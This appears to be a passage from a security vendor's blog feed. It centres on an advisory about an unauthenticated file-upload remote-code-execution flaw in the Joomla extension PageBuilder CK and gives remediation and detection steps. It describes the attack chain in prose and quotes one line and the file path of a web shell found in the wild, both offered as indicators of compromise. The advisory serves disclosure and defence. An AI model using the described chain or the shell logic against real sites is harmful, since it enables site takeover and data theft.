&lt;li&gt;&lt;strong&gt;2026-07-05&lt;/strong&gt; Mass exploitation begins, about a week after the fix An automated botnet starts defacing Joomla sites through the same flaw, now CVE-2026-49049, tagging them &quot;Hacked by AntonKill&quot;. The sites being hit are the ones that had no way to know they were running a vulnerable version.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Part of &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;a dozen Joomla vulnerabilities we uncovered and disclosed in one month&lt;/a&gt; - the full roundup.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomshaper.com/joomla-templates/helix3&quot;&gt;JoomShaper Helix3 framework&lt;/a&gt; - the vendor&apos;s product page.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Using_the_Joomla!_Core_Ajax_Interface&quot;&gt;Joomla com_ajax documentation&lt;/a&gt; - how the unauthenticated endpoint works.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vel.joomla.org/&quot;&gt;Joomla Vulnerable Extensions List&lt;/a&gt; - the community-run list of known Joomla extension issues.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.github.io/www-community/attacks/Path_Traversal&quot;&gt;OWASP: Path Traversal&lt;/a&gt; - background on the file-path class of bug.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/cotton-cloud-incomplete-security-fix/&quot;&gt;Cotton Cloud patched the login, then the data&lt;/a&gt; - another security release that shipped with a changelog telling no one, and a developer who went back and rewrote his.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>helix3</category><category>joomshaper</category><category>file-write</category><category>file-delete</category><category>shaper-helix3</category><enclosure url="https://mysites.guru/img/og/blog/helix3-security-update-changelog-failure.png" length="0" type="image/png"/></item><item><title>PageBuilder CK File Upload RCE - June 2026</title><link>https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/</link><guid isPermaLink="true">https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/</guid><description>PageBuilder CK below 3.6.0 lets anyone upload and run a file on your Joomla site, no login. CVE-2026-56290, CVSS 10.0, exploited in the wild. Update to 3.6.0.</description><pubDate>Sat, 27 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;PageBuilder CK is one of the more popular free page builders for Joomla, a drag-and-drop layout tool that thousands of sites lean on for their landing pages and content. On 27 June 2026 its developer, Cedric Keiflin, shipped version 3.6.0 with a changelog that says, in full, “IMPORTANT : Fix security issue”, with no further detail. That terse line is hiding a serious one.&lt;/p&gt;
&lt;p&gt;In every version up to and including 3.5.10, PageBuilder CK has an unauthenticated file upload flaw that leads to remote code execution. An attacker with no login can upload a file to your Joomla site, choose which folder it goes in, and then run it. That is full control of the site: stealing data, defacing pages, planting backdoors, or using your server to attack other people. We confirmed it by comparing the old and new code and reproducing the whole chain on a clean test install.&lt;/p&gt;
&lt;p&gt;The fix is &lt;a href=&quot;https://www.joomlack.fr/en/joomla-extensions/page-builder-ck&quot;&gt;PageBuilder CK 3.6.0&lt;/a&gt;. If any of your Joomla sites run this component, update them now, then read on for what the flaw does and how to check whether you were already hit.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Update, 27 June 2026: this is now being exploited in the wild. Within hours of the fix shipping, our suspect content tool flagged a live web shell on a connected Joomla site, planted through this exact flaw. The file sat at &lt;code&gt;/media/com_pagebuilderck/gfonts/bhup.php&lt;/code&gt;, an upload handler that runs whatever an attacker POSTs to it. The fix shipped on 27 June 2026 and the attackers were not far behind, so if you run PageBuilder CK below 3.6.0, treat this as urgent: update now, then check for compromise. Every affected site is already flagged on the new Important tab, and the suspect content tool is actively catching shells like this one (see below).&lt;/p&gt;
&lt;/div&gt;
&lt;div&gt;
  &lt;p&gt;Update, 17 August 2026: 3.6.0 fixed this flaw, but it did not fix it completely, and two more security issues followed it. The 3.6.0 release added the missing permission check without correcting the upload handler behind it, so any Editor account could still upload and run a PHP file up to 3.6.2 (&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63048&quot;&gt;CVE-2026-63048&lt;/a&gt;, fixed in 3.6.3). A separate SQL injection in the styles handling then took two attempts to close, and is fixed in 3.6.5 (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-74254/&quot;&gt;CVE-2026-74254&lt;/a&gt;). If you are here to remediate, the version to be on is &lt;strong&gt;3.6.5&lt;/strong&gt;, not 3.6.0. We pulled the whole sequence apart in &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-file-upload-rce-incomplete-fix/&quot;&gt;PageBuilder CK RCE fixed, again, correctly this time&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;&lt;abbr&gt;TL;DR&lt;/abbr&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unauthenticated arbitrary file upload to remote code execution&lt;/strong&gt; in PageBuilder CK, a free Joomla page builder. No login required&lt;/li&gt;
&lt;li&gt;Worse than a typical upload bug: the attacker &lt;strong&gt;chooses the destination folder&lt;/strong&gt;, so a planted file can end up anywhere on the site, including outside any images directory&lt;/li&gt;
&lt;li&gt;Affects &lt;strong&gt;every version up to and including 3.5.10&lt;/strong&gt;. Fixed in &lt;strong&gt;3.6.0&lt;/strong&gt; for current Joomla, released &lt;strong&gt;27 June 2026&lt;/strong&gt;. The vendor also back-patched the older lines: &lt;strong&gt;3.1.1&lt;/strong&gt; for &lt;a href=&quot;https://joomla3security.com/vendors/&quot;&gt;Joomla 3&lt;/a&gt; and &lt;strong&gt;3.4.10&lt;/strong&gt; for Joomla 4, so match the patched version to the Joomla version your site runs&lt;/li&gt;
&lt;li&gt;The only thing in the attacker’s way is a &lt;strong&gt;CSRF token&lt;/strong&gt;, which any visitor can read straight off the site’s own pages. That is not a security barrier&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tracked as &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56290&quot;&gt;CVE-2026-56290&lt;/a&gt;, CVSS 10.0 (critical)&lt;/strong&gt;, published 29 June 2026 and crediting Phil Taylor of mySites.guru as the finder. The vendor changelog reads only “IMPORTANT : Fix security issue”&lt;/li&gt;
&lt;li&gt;We confirmed it by &lt;strong&gt;source-diffing 3.5.10 against 3.6.0&lt;/strong&gt; and reproducing the upload-to-execution chain on a clean Joomla 5 install. We are not publishing a working exploit&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to 3.6.0 on every affected site, then check for compromise.&lt;/strong&gt; Unpublishing the component does not protect you&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
  &lt;p&gt;The fix is out, but the longer a site stays on an old version, the more time automated scanners have to find it. Bots work through lists of Joomla sites looking for exactly this kind of flaw, and your site does not need to be a target to get caught. Update to 3.6.0 before you do anything else.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;How to Find Every Joomla Site Running PageBuilder CK with mySites.guru&lt;/h2&gt;
&lt;p&gt;When a flaw drops in a component that could be on dozens of your client sites, the first question is always the same: which of my sites run it, and on what version? If you manage 50 or 200 Joomla sites, logging into each admin to check the PageBuilder CK version is not realistic. The bots do not wait for you to finish the list.&lt;/p&gt;
&lt;p&gt;mySites.guru records the exact version of every installed extension across every connected Joomla site on a &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;twice-daily snapshot&lt;/a&gt;. The extension search shows you every site running PageBuilder CK, grouped by version, in seconds. Filter for anything below 3.6.0 and you have your work list.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;View all your PageBuilder CK installations&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/c45129c88fda8c49f8f7c475837f869f&quot;&gt;Open PageBuilder CK Extension Search&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Lists every installed version across all your connected Joomla sites. Filter for anything below 3.6.0 to find the installations that need updating.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Combined with the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass extension updater&lt;/a&gt;, you can push 3.6.0 across every affected site in one batch instead of a day of logging into admin panels one at a time. What would have been a frantic afternoon becomes a triage you finish over a coffee.&lt;/p&gt;
&lt;p&gt;If you do not have a mySites.guru account yet, &lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;start a free month&lt;/a&gt; and connect your sites. The extension index builds automatically on the first snapshot, and you will know straight away which sites are exposed.&lt;/p&gt;
&lt;h2&gt;What the Bug Actually Did&lt;/h2&gt;
&lt;p&gt;PageBuilder CK does its work through a set of front-end endpoints, the kind of background requests a builder makes while you drag elements around and save your layout. One of those endpoints handles file uploads, for adding images to a page.&lt;/p&gt;
&lt;p&gt;The problem is what that endpoint did not check. Before a site does anything sensitive, it should ask two separate questions: who is this (authentication), and are they allowed to do this (authorization). The upload endpoint asked neither. The only thing it checked was a Joomla anti-CSRF token, a value meant to confirm a request came from a real page on the site rather than being forged from somewhere else. A CSRF token is not a login. It does not prove who you are, and it does not prove you have permission. And because Joomla prints that token into its own public pages, any visitor can grab one in a single request.&lt;/p&gt;
&lt;p&gt;So a guest, with no account and no session, could reach the upload code. That alone would be bad. What makes this critical is the second half: the endpoint took the destination folder straight from the request and the filename, including its extension, exactly as supplied. There was no allow-list restricting uploads to images, no block on PHP files, and no confinement to a media directory. The caller picked the folder, and the caller picked the file.&lt;/p&gt;
&lt;p&gt;Put those together and the attack writes itself. Upload &lt;code&gt;something.php&lt;/code&gt; into a web-served folder, then load that file in a browser, and the server runs it. That is remote code execution, the most severe class of web vulnerability there is, reachable by anyone on the internet.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;A note on what we are not publishing. We confirmed this flaw by reading the code and reproducing it on our own test install, and we reported nothing that is not already implied by the public fix. We are not naming the exact endpoint or sharing a working request. The fix is out, and the responsible thing is to get people patched, not to hand a recipe to the next scanner, although with AI help they could replicate what we did in seconds.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Now Being Exploited in the Wild&lt;/h2&gt;
&lt;p&gt;When we first published this, we had reproduced the flaw ourselves but had not seen it used against a real site. That changed within hours. Our suspect content tool flagged a live web shell on a connected Joomla site, dropped in through this exact upload flaw.&lt;/p&gt;
&lt;p&gt;The file was here:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;/media/com_pagebuilderck/gfonts/bhup.php&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It is a small uploader shell. The giveaway line is this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt;( $_POST[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;_upl&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &quot;&lt;/span&gt;&lt;span&gt;Upload&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; ) {&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That is a self-contained file manager: load the shell in a browser and it shows an upload form, then writes whatever you hand it anywhere on the server it can reach. In other words, the attacker used the PageBuilder CK flaw once to plant a permanent door, and from then on did not need the flaw at all. This is the standard pattern: the first upload is a foothold, not the payload.&lt;/p&gt;
&lt;p&gt;Two things to take from where this one ended up. It sits under &lt;code&gt;/media&lt;/code&gt;, not the &lt;code&gt;/images&lt;/code&gt; folder people usually watch, which is the whole reason “just lock down /images” does not work against a flaw that lets the attacker pick the folder. And it hides inside &lt;code&gt;gfonts&lt;/code&gt;, a plausible-looking subfolder name that blends in with legitimate font assets. If you are checking your own sites by hand, do not just scan the obvious upload directories, and do not assume a folder is safe because its name looks innocent.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;What to look for. On any Joomla site that has run PageBuilder CK below 3.6.0, search for stray &lt;code&gt;.php&lt;/code&gt; files under &lt;code&gt;/media/com_pagebuilderck/&lt;/code&gt; and its subfolders (we found one in &lt;code&gt;gfonts/&lt;/code&gt;), and more broadly for any PHP file containing an upload handler like &lt;code&gt;$_POST[&apos;_upl&apos;]&lt;/code&gt; anywhere it should not be. Finding the shell means the site was compromised: updating to 3.6.0 closes the flaw but does not remove a door that is already in place. Clean the site properly and rotate your Joomla passwords and secrets.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;On connected sites you do not have to go looking by hand. The suspect content tool caught this one automatically, which is exactly how we knew the flaw had gone from theory to active use. Anything it flags in a site’s Hacked? section should be treated as a compromise until proven otherwise.&lt;/p&gt;
&lt;h2&gt;Why “Just Block /images” Is Not Enough&lt;/h2&gt;
&lt;p&gt;The instinct with an upload flaw is to stop PHP files from running in the upload folder. For a lot of vulnerabilities that is a reasonable stop-gap. Here it is not, because the attacker is not limited to the upload folder. They name the destination in the request, so if you lock down one folder they simply write to another. In our testing the same upload reached and ran in several different directories, and a planted file could just as easily sit among legitimate admin files where you would never think to look for it.&lt;/p&gt;
&lt;p&gt;This is why the real answer is the update, or, if you cannot update for a few hours, blocking the vulnerable request at a web application firewall or reverse proxy so it never reaches the component at all.&lt;/p&gt;
&lt;p&gt;Server-level hardening helps, but know what it does and does not do. If you run &lt;a href=&quot;https://www.akeeba.com/products/admin-tools.html&quot;&gt;Akeeba Admin Tools&lt;/a&gt;, its &lt;code&gt;.htaccess&lt;/code&gt; Maker will not stop the upload itself, because the write happens inside the component, below the level &lt;code&gt;.htaccess&lt;/code&gt; sees. What its long generated &lt;code&gt;.htaccess&lt;/code&gt; does do is disable PHP execution in a list of directories, so a dropper that ends up in one of those folders cannot be run by requesting it directly. That neutralises a good chunk of the risk. The catch is that the Maker leaves &lt;a href=&quot;https://mysites.guru/blog/akeeba-admin-tools-htaccess-maker-mysites-guru-exception/&quot;&gt;exceptions where PHP needs to run&lt;/a&gt;, and since this flaw lets the attacker choose any folder, those exceptions are exactly where a working shell could still end up. Helpful, then, but not a substitute for the update. A single &lt;code&gt;.htaccess&lt;/code&gt; rule scoped to one folder gives an even falser sense of safety against a flaw that can write anywhere.&lt;/p&gt;
&lt;h2&gt;How to Fix the PageBuilder CK Hack with mySites.guru Easily&lt;/h2&gt;
&lt;p&gt;Updating is the priority and it is straightforward. In each site’s Joomla admin, go to &lt;strong&gt;System&lt;/strong&gt; then &lt;strong&gt;Update&lt;/strong&gt; then &lt;strong&gt;Extensions&lt;/strong&gt;, find PageBuilder CK, and update it to 3.6.0 or newer. If the update does not appear there, download the latest build from &lt;a href=&quot;https://www.joomlack.fr/en/joomla-extensions/page-builder-ck&quot;&gt;joomlack.fr&lt;/a&gt; and install it over the top. If you run more than a handful of sites, push the update across all of them at once from your &lt;a href=&quot;https://mysites.guru/blog/manage-all-your-joomla-sites-extensions-with-mysites-guru/&quot;&gt;mySites.guru dashboard&lt;/a&gt; rather than working through admin panels one by one.&lt;/p&gt;
&lt;p&gt;Then check for a break-in, because updating stops the next attempt but does nothing about one that already happened. Look for PHP files that should not exist, and do not only look in the obvious places. Because this flaw lets the attacker choose the folder, a web shell could be sitting in &lt;code&gt;/images&lt;/code&gt;, &lt;code&gt;/media&lt;/code&gt;, &lt;code&gt;/templates&lt;/code&gt;, &lt;code&gt;/administrator&lt;/code&gt;, or anywhere else writable. While you are in the Joomla admin, check your &lt;strong&gt;Users&lt;/strong&gt; list for any Super User accounts you do not recognise and remove them. If you find anything, &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;clean the site properly&lt;/a&gt;, change your Joomla passwords and secrets, and &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;run a full security audit&lt;/a&gt; across the whole site rather than just the file you found. Whoever gets in through one hole usually leaves a second one somewhere quieter.&lt;/p&gt;
&lt;p&gt;mySites.guru helps with the detection half too. Its &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content tool runs on every audit&lt;/a&gt; of every connected Joomla site and flags known web shell signatures and files that do not belong. If a site shows a threat in its Hacked? section, treat it as compromised and work through the cleanup.&lt;/p&gt;
&lt;h2&gt;This Keeps Happening to Joomla Components&lt;/h2&gt;
&lt;p&gt;PageBuilder CK is not an outlier. It joins a steady run of third-party Joomla component flaws we have written up this year, and several share the exact same shape: an endpoint that should have been locked down, reachable without a login, doing something dangerous. The &lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;SP Page Builder zero day&lt;/a&gt; from a different vendor was another unauthenticated upload in a page builder, used to plant hidden Joomla admins. The &lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;iCagenda zero day&lt;/a&gt; was another unauthenticated file upload. The &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain framework RCE&lt;/a&gt; was unauthenticated code execution in a widely-installed extension. The &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;vulnerable JCE editor&lt;/a&gt; was, again, a file upload reached without proper checks. And &lt;a href=&quot;https://mysites.guru/blog/helix-ultimate-security-update/&quot;&gt;Helix Ultimate 2.2.7&lt;/a&gt; closed the same class of gap in JoomShaper’s template framework, where unprotected &lt;code&gt;com_ajax&lt;/code&gt; actions allowed an unauthenticated menu write that leads to stored cross-site scripting. &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt; was another one: its frontend attachment upload accepted a file from anyone with no login and no file-type check, so a &lt;code&gt;.php&lt;/code&gt; upload could be run as code.&lt;/p&gt;
&lt;p&gt;The thread running through all of them is the one we pulled on at length in &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX endpoints are a big CMS security blind spot&lt;/a&gt;: a front-end endpoint that verifies a CSRF token and then stops checking, never asking whether the person behind the request is logged in or allowed to do what they are asking. PageBuilder CK is a textbook case of it, and the 3.6.0 fix is, in essence, adding the permission check that should have been there all along. When a framework leaves authorization up to each individual extension developer, the same mistake gets made independently, over and over.&lt;/p&gt;
&lt;p&gt;Joomla’s core team has started closing that gap from their side. The recent updates &lt;a href=&quot;https://manual.joomla.org/updates/54-60/known-issues/6.0.4/&quot;&gt;Joomla 5.4.4 and 6.0.4&lt;/a&gt; hardened the core &lt;code&gt;com_ajax&lt;/code&gt; component, which for years let AJAX handlers in the administrator application be called without an authenticated session. From those versions on, Joomla blocks that by default, and a developer who needs an open handler has to opt in explicitly. It is a intended backwards-compatibility break, made because the safe default was worth more than never breaking anything. It will not retroactively fix a component like PageBuilder CK, whose vulnerable code ran on the public site and did its own routing rather than going through core &lt;code&gt;com_ajax&lt;/code&gt;, so you still need the 3.6.0 update. But it does mean one large, long-standing version of this mistake is now closed at the source. Keeping your sites on a current Joomla version is part of staying ahead of the next one.&lt;/p&gt;
&lt;p&gt;The lesson is not “stop using extensions”. Extensions are what make Joomla useful, and PageBuilder CK is good at its job. The lesson is that the security of your sites rests on code other people wrote and ship on their own schedule, and the day a flaw like this becomes public you need to know, within minutes, which of your sites run it, patch them all at once, and check whether any were already turned into a foothold. That is the whole reason mySites.guru indexes every extension on every site you connect. When the next one drops, and there will be a next one, you want to be the operator who patched and swept before the scanner came back, not the one &lt;a href=&quot;https://mysites.guru/blog/hacked-yesterday-exploited-today/&quot;&gt;finding a strange admin account three weeks later&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;The March 2026 Wave That Made the Pattern Obvious&lt;/h2&gt;
&lt;p&gt;If PageBuilder CK felt like a one-off it would be easy to shrug at. It is not. In a single month, March 2026, at least five separate AJAX and API vulnerabilities were disclosed across Joomla and WordPress, all sharing the same root cause: an endpoint that checks a token but never checks who is calling it. We pulled all five apart in &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;AJAX endpoints are a big CMS security blind spot&lt;/a&gt;; here they are at a glance.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/astroid-framework-security-vulnerability/&quot;&gt;Astroid Framework for Joomla&lt;/a&gt;&lt;/strong&gt; (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-21628/&quot;&gt;CVE-2026-21628&lt;/a&gt;, CVSS 10.0). The AJAX endpoint verified a CSRF token but never checked the requester was an administrator. Attackers grabbed the token off the public login page and uploaded backdoors. No login required, and a maximum 10.0 score.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain / Tassos Framework for Joomla&lt;/a&gt;&lt;/strong&gt; (CVE-2026-21627, CVSS 9.5). Fully unauthenticated, no token and no capability check at all. Joomla’s &lt;code&gt;com_ajax&lt;/code&gt; routed requests to the plugin, which whitelisted file inclusion as a non-admin task, allowing arbitrary PHP inclusion, file deletion and SQL injection.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/blog/smart-slider-3-arbitrary-file-read-vulnerability/&quot;&gt;Smart Slider 3 for WordPress&lt;/a&gt;&lt;/strong&gt; (CVE-2026-3098, CVSS 6.5). The export AJAX actions had a nonce but no capability check, so any subscriber-level user could read arbitrary files off the server, including &lt;code&gt;wp-config.php&lt;/code&gt;. Same pattern, different CMS.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Joomla core com_ajax ACL hardening&lt;/strong&gt; (CVE-2026-21629). The framework that routes every plugin’s AJAX requests was itself missing the default authentication check in the admin area, the gap that the &lt;a href=&quot;https://manual.joomla.org/updates/54-60/known-issues/6.0.4/&quot;&gt;5.4.4 and 6.0.4 updates&lt;/a&gt; closed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Joomla webservice endpoint access bypass&lt;/strong&gt; (CVE-2026-23899). The webservice API did not properly verify permissions on incoming requests, allowing access to endpoints that should have been restricted. A different mechanism, the same category of failure.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Five in one month, three months before PageBuilder CK joined the list. This is not a run of bad luck. It is a structural weakness in how CMS extensions handle authorization, and it is why “which of my sites run the thing that just got patched” needs to be a question you can answer in seconds, not days.&lt;/p&gt;
&lt;p&gt;And these are not just disclosures sitting in a database. The same pattern hit &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-5-security-update/&quot;&gt;JCE, the single most-installed Joomla editor&lt;/a&gt; (&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-48907/&quot;&gt;CVE-2026-48907&lt;/a&gt;), where an unauthenticated editor-profile upload let attackers write arbitrary files. That one was actively exploited: we saw it used in the wild to plant rogue JCE editor profiles and drop webshells into &lt;code&gt;tmp&lt;/code&gt;, &lt;code&gt;media&lt;/code&gt;, &lt;code&gt;images&lt;/code&gt; and the &lt;code&gt;libraries&lt;/code&gt; tree, the exact “endpoint reached without a login, then a file written somewhere it can run” shape as PageBuilder CK. We built a &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;dedicated check that finds the JCE rogue profiles and backdoors&lt;/a&gt; and cleans them from one screen, because enough sites were hit that “is JCE installed and patched” was no longer the only question worth asking. When a pattern gets weaponised like that, the gap between disclosure and patching is measured in how exposed your sites are, not in how interesting the bug is.&lt;/p&gt;
&lt;h2&gt;How mySites.guru Makes Urgent 0-Day Updates Like This Painless&lt;/h2&gt;
&lt;p&gt;A 0-day is a race, and the clock starts the moment the fix goes public. The slow part has never been the update itself, it is everything around it: working out which of your sites even have the affected extension, on what version, and then getting the patch onto all of them before a scanner gets there first. Done by hand across a portfolio of client sites, that is an afternoon of logging into admin panels. By the time you finish the list, the first sites have been exposed for hours.&lt;/p&gt;
&lt;p&gt;mySites.guru collapses that race into a few clicks, in three steps.&lt;/p&gt;
&lt;p&gt;First, &lt;strong&gt;know which sites are affected, in seconds.&lt;/strong&gt; Every connected site reports the exact version of every installed extension on a &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;twice-daily snapshot&lt;/a&gt;. The &lt;a href=&quot;https://manage.mysites.guru/en/extensions&quot;&gt;extension search&lt;/a&gt; indexes that data across your whole portfolio and groups it by version, so a question like “which of my sites run PageBuilder CK below 3.6.0” is answered the moment you ask it, not after a day of checking. This is the same index that let us find &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;8,297 sites running the Novarain Framework&lt;/a&gt; within hours of that disclosure.&lt;/p&gt;
&lt;p&gt;Second, &lt;strong&gt;patch all of them at once.&lt;/strong&gt; Once you have the list, the &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;mass update tool&lt;/a&gt; pushes 3.6.0 to every affected site in a single operation. Whether that is five sites or five hundred, it is one action instead of hundreds. If a site is somehow missing the update in its own admin, you can &lt;a href=&quot;https://mysites.guru/blog/install-a-joomla-extension-or-wordpress-plugin-to-1000-sites-with-ease-using-mysites-guru/&quot;&gt;mass install the extension&lt;/a&gt; straight from the dashboard. The full day of manual patching becomes a job you finish over a coffee.&lt;/p&gt;
&lt;p&gt;Third, &lt;strong&gt;confirm no one beat you to it.&lt;/strong&gt; Updating closes the door, but on a fast-moving 0-day you also want to know whether anything got in before you patched. The &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content tool runs on every audit&lt;/a&gt; of every connected Joomla site, flagging web shells and files that do not belong, including in the odd corners this particular flaw can write to.&lt;/p&gt;
&lt;p&gt;We have already done two things for this specific flaw. Every connected Joomla site running PageBuilder CK below 3.6.0 is now flagged on the new &lt;strong&gt;Important&lt;/strong&gt; tab, the red triage view that surfaces a site’s most urgent problems in one place. It names the component, explains the risk, and links straight to this write-up:&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;The mySites.guru Important tab for a Joomla site, showing a red &apos;This site has one or more vulnerable plugins installed&apos; alert that names Page Builder CK (com_pagebuilderck) below 3.6.0 as an unauthenticated arbitrary file upload leading to RCE, alongside the hacked-site checks and the suspect content tool result&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1600px) 1600px, 100vw&quot; width=&quot;1600&quot; height=&quot;1183&quot; src=&quot;https://mysites.guru/_astro/pagebuilderck-important-tab-vulnerable-plugin.Cinxu0Hp_J0dK.webp&quot; srcset=&quot;https://mysites.guru/_astro/pagebuilderck-important-tab-vulnerable-plugin.Cinxu0Hp_s3aHA.webp 640w, https://mysites.guru/_astro/pagebuilderck-important-tab-vulnerable-plugin.Cinxu0Hp_2895Wl.webp 750w, https://mysites.guru/_astro/pagebuilderck-important-tab-vulnerable-plugin.Cinxu0Hp_2izKHR.webp 828w, https://mysites.guru/_astro/pagebuilderck-important-tab-vulnerable-plugin.Cinxu0Hp_1qm3ew.webp 1080w, https://mysites.guru/_astro/pagebuilderck-important-tab-vulnerable-plugin.Cinxu0Hp_1vEWqc.webp 1280w, https://mysites.guru/_astro/pagebuilderck-important-tab-vulnerable-plugin.Cinxu0Hp_J0dK.webp 1600w&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This is no longer hypothetical. The &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;suspect content tool&lt;/a&gt; is what caught the first real web shell planted through this flaw, the &lt;code&gt;bhup.php&lt;/code&gt; dropper described above. It reads every file in your webspace and flags anything that looks like a backdoor or web shell on its own merits, without us having to handcraft a pattern for this particular attack first. That is the difference between a tool that only knows the threats someone has already written a rule for and one that can catch a shell it has never seen. It does flag broadly, so it is worth knowing &lt;a href=&quot;https://mysites.guru/blog/suspect-content-vs-hacked-files/&quot;&gt;how to read a suspect content match versus a confirmed hacked file&lt;/a&gt; before you act on what it raises. Now that we are recording sites hit through this flaw, a targeted check that hunts its specific fingerprint is the next step, exactly as we did with the &lt;a href=&quot;https://mysites.guru/blog/finding-every-site-running-a-vulnerable-jce/&quot;&gt;JCE rogue profiles and backdoors tool&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;That is the whole point of connecting your sites before the next 0-day rather than after. When it drops, you are not scrambling to build a list. You already have it, you push one update, and you move on. If you are not set up yet, &lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;start a free month&lt;/a&gt; and the index builds itself on the first snapshot.&lt;/p&gt;
&lt;h2&gt;CVE Record&lt;/h2&gt;
&lt;p&gt;This vulnerability is now tracked as &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56290&quot;&gt;CVE-2026-56290&lt;/a&gt;, published on 29 June 2026 and crediting Phil Taylor of mySites.guru as the finder. It scores a CVSS 4.0 base of 10.0, the maximum, and is classified as CWE-284 (Improper Access Control), which is exactly the failure this post describes: an endpoint that checks a token but never checks permission. The official record summarises it as “an unauthenticated arbitrary file upload that allows uploading executable files and leads to full RCE”.&lt;/p&gt;



























